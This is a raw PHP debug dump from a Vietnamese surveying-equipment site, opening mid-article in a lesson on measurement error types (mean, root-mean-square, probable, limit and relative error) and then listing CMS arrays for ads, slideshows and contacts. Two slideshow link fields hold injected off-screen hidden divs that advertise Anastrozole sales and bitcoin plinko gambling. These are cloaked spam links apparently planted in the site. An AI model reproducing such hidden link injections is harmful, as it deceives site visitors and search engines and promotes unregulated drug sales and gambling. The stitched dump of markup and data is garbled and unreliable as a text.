margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '82720', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $duandatrienkhai = array( (int) 0 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ) ) $slideshow = array( (int) 0 => array( 'Slideshow' => array( 'id' => '69', 'name' => '', 'images' => null, 'created' => '2019-07-11 10:23:46', 'modified' => '2022-04-16 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 1 => array( 'Slideshow' => array( 'id' => '68', 'name' => '', 'images' => '201907111208539ebd41e6cbc1e14780805f6fc0d65867.gif', 'created' => '2019-07-11 10:22:33', 'modified' => '2021-05-13 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Buy <a href="http://contest-sport.com/sport-products/anastrazolos-1/"> Anastrozole directly from the manufacturer in USA </a> and without intermediaries.</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 2 => array( 'Slideshow' => array( 'id' => '66', 'name' => '', 'images' => '2019071110173758daf01bf616370befe2ad36e8391dfa.png', 'created' => '2019-07-11 10:09:25', 'modified' => '2022-04-15 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Play <a href="https://windice.io/plinko">bitcoin plinko</a> to hit the jackpot today!</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ) ) $adv_khuyenmai = array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ) $doitac = array( (int) 0 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ) ) $chayphai = array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ) $chaytrai = array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ) $chiasekinhnghiem = array() $list_menu_footer = array() $danhmuc_left_parent = array( (int) 0 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ) ) $danhmuc = array( (int) 0 => array( 'Catproduct' => array( 'id' => '1', 'name' => 'Trang chủ', 'slug' => 'trang-chu' ) ), (int) 1 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ), (int) 2 => array( 'Catproduct' => array( 'id' => '3', 'name' => 'Giới thiệu', 'slug' => 'gioi-thieu' ) ), (int) 3 => array( 'Catproduct' => array( 'id' => '5', 'name' => 'Download', 'slug' => 'download' ) ), (int) 4 => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'slug' => 'tin-tuc' ) ), (int) 5 => array( 'Catproduct' => array( 'id' => '6', 'name' => 'Liên hệ', 'slug' => 'lien-he' ) ) ) $support = array( (int) 0 => array( 'Support' => array( 'id' => '13', 'name' => 'Co so Ha noi', 'phone' => '098 987 678', 'yahoo' => 'duycuong7640', 'skype' => 'duycuong7640', 'pos' => '0', 'created' => '2013-09-13', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ), (int) 1 => array( 'Support' => array( 'id' => '16', 'name' => 'Co so TP.HCM', 'phone' => '3252 436 432', 'yahoo' => 'duycuong7640', 'skype' => 'tuvantubep', 'pos' => '0', 'created' => '2014-01-15', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ) ) $content_for_layout = '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>16/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-cach-dinh-vi-duong-di-cho-dan-phuot.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/thuoc-day-yamayo.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu.htm" title=""> <h3> <span>(25-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua.htm" title=""> <h3> <span>(24-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet.htm" title=""> <h3> <span>(13-06-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/pin-may-toan-dac-dien-tu-topcon.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-co-ban-su-dung-may-bo-dam.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-sac-pin-may-bo-dam-dung-ky-thuat.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1">1</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:2">2</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:3">3</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4">4</a></span><span class="current number">5</span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6">6</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:7">7</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:8">8</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:46">46</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47">47</a></span><span class="next"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6" rel="next">Next »</a></span><span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47" rel="last">End »</a></span>Page 5/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>' $scripts_for_layout = '' $cap1 = array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'slug' => 'tin-tuc' ) ) $dm_c2 = array() $cap2 = array( 'Catproduct' => array( 'id' => '74', 'name' => 'Sổ sách, báo biểu khí tượng thủy văn', 'parent_id' => '2', 'alias' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'images' => null, 'lft' => '76', 'rght' => '77', 'pos' => 